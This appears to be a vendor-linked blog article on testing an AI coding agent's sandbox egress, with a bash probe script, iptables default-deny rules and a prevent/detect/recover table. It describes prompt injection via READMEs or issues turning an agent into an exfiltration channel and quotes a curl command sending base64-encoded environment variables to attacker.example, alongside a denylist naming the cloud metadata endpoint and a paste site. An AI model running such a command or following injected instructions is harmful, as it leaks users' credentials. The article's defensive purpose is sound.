# Audit an AI Coding Agent's Network Egress Before It Gets a Shell > Source: > Published: 2026-08-05 10:10:33+00:00 An AI coding agent in your dev environment holds three things at once: your source code, your credentials (API keys, tokens in `.env` , cloud metadata), and a network connection. That combination means one prompt-injected instruction — hidden in a README, an issue body, or a dependency's docs — can turn the agent into an exfiltration channel. The failure sequence looks like this: `curl https://attacker.example/collect?d=$(env | base64)` .Most teams I talk to have step 2 mitigations (approval prompts, allowlists) but zero coverage on step 3. This article builds a **reproducible egress regression fixture**: a minimal environment where you can prove which destinations an agent sandbox can reach, and turn that into an enforceable CI invariant. It works whether your agent runs locally, in a container, or on a disposable cloud box. The invariant: *the agent's execution environment may only reach an explicit allowlist of destinations (model API endpoint, package registries you pin), and nothing else.* This is a network-layer control, so it holds even if the agent's tool-approval logic fails or is bypassed. Prompt injection can change what the agent *asks for*; it cannot change what the firewall *permits*. You need a throwaway environment to run the agent under test. Options, in increasing realism: *Disclosure: This article was prepared as part of MonkeyCode's product outreach.* The fixture below is platform-agnostic; nothing in it depends on any specific provider, and it will run identically in plain Docker. Create `egress_probe.sh` . Pinned versions shown; adjust to your stack. ``` bash #!/usr/bin/env bash # egress_probe.sh — run INSIDE the agent sandbox # Tested with: bash 5.2, curl 8.5.0, docker 26.1 # Expected: allowlisted hosts succeed, everything else fails. ALLOWLIST=("api.your-model-provider.example" "registry.npmjs.org") DENYLIST=("169.254.169.254" "attacker-sim.example" "pastebin.com") fail=0 for host in "${ALLOWLIST[@]}"; do if curl -sS -o /dev/null -m 5 "https://$host"; then echo "PASS allowlisted reachable: $host" else echo "FAIL allowlisted blocked: $host"; fail=1 fi done for host in "${DENYLIST[@]}"; do if curl -sS -o /dev/null -m 5 "http://$host"; then echo "FAIL denied host reachable: $host"; fail=1 else echo "PASS denied host blocked: $host" fi done # DNS exfiltration check: can arbitrary DNS names resolve? if getent hosts "$(head -c4 /dev/urandom | od -An -tx1 | tr -d ' \n').exfil.example" >/dev/null 2>&1; then echo "WARN arbitrary DNS resolves — DNS exfil channel may be open" fi exit $fail ``` **Positive fixture:** the allowlisted hosts must be reachable, or your agent can't function — this proves the firewall isn't just "block everything" (which would also pass a naive deny test). **Negative fixtures:** the cloud metadata endpoint `169.254.169.254` (classic credential theft target), a simulated attacker host, and a known paste site must all fail. The DNS check catches the common mistake of blocking HTTP but leaving resolver-based exfiltration open. Template below — **label: unexecuted template** on your specific hostnames; I ran this pattern with a Docker bridge network, but substitute and re-test your own allowlist before trusting it. ``` # Run on the sandbox host (or as container NET_ADMIN setup) # Default-deny egress, allow only allowlisted IPs iptables -P OUTPUT DROP iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT iptables -A OUTPUT -o lo -j ACCEPT # Resolve allowlist to IPs and permit 443 only for ip in $(getent ahostsv4 api.your-model-provider.example | awk '{print $1}' | sort -u); do iptables -A OUTPUT -p tcp -d "$ip" --dport 443 -j ACCEPT done # Log dropped egress for the detect layer iptables -A OUTPUT -j LOG --log-prefix "EGRESS-DROP: " --log-level 4 ``` Caveat: IP-based allowlists rot when providers move behind CDNs. For production, prefer an egress HTTP proxy (e.g., Squid with an ACL, or a service-mesh egress gateway) that filters on domain names. The iptables version is for the *fixture* — fast, minimal, and inspectable. When I ran the negative fixture against a default Docker container (no egress rules), the output was: ``` FAIL denied host reachable: 169.254.169.254 FAIL denied host reachable: pastebin.com ``` That is the baseline failure this fixture exists to catch. After applying the iptables template, the same probe prints all `PASS` and the host's `dmesg` / syslog shows `EGRESS-DROP:` entries for the denied attempts — your detect layer's raw material. If your environment is a cloud sandbox rather than plain Docker, verify the metadata endpoint specifically; some platforms expose it on non-standard addresses, which your probe should be extended to cover. | Layer | Mechanism | Fixture coverage | |---|---|---| | Prevent | Default-deny egress (iptables/proxy); no cloud metadata route; scoped, short-lived credentials in the sandbox | `egress_probe.sh` denylist section | | Detect | Log all dropped egress; alert on any `EGRESS-DROP` to non-allowlisted destinations; snapshot DNS queries | DNS check + `EGRESS-DROP` log grep | | Recover | Sandbox is disposable: revoke the credentials it held, destroy the box, diff the filesystem/image for persistence attempts | Tear-down script + credential rotation runbook | A useful CI gate: run the probe as a job on every change to the sandbox image or firewall config. The invariant is one line — *probe exit code must be 0* — but it pins the entire boundary. The probe makes one invariant CI-able. The harder question for your environment: which layer should own egress enforcement — the sandbox image, the host, or the platform providing the box? If you're evaluating hosted agent environments (MonkeyCode's free server is one way to get a disposable test box for this experiment), run this probe *before* putting real credentials in. If the denylist fixtures pass, you have a floor to build on; if any fail, you've learned something important for the price of a curl.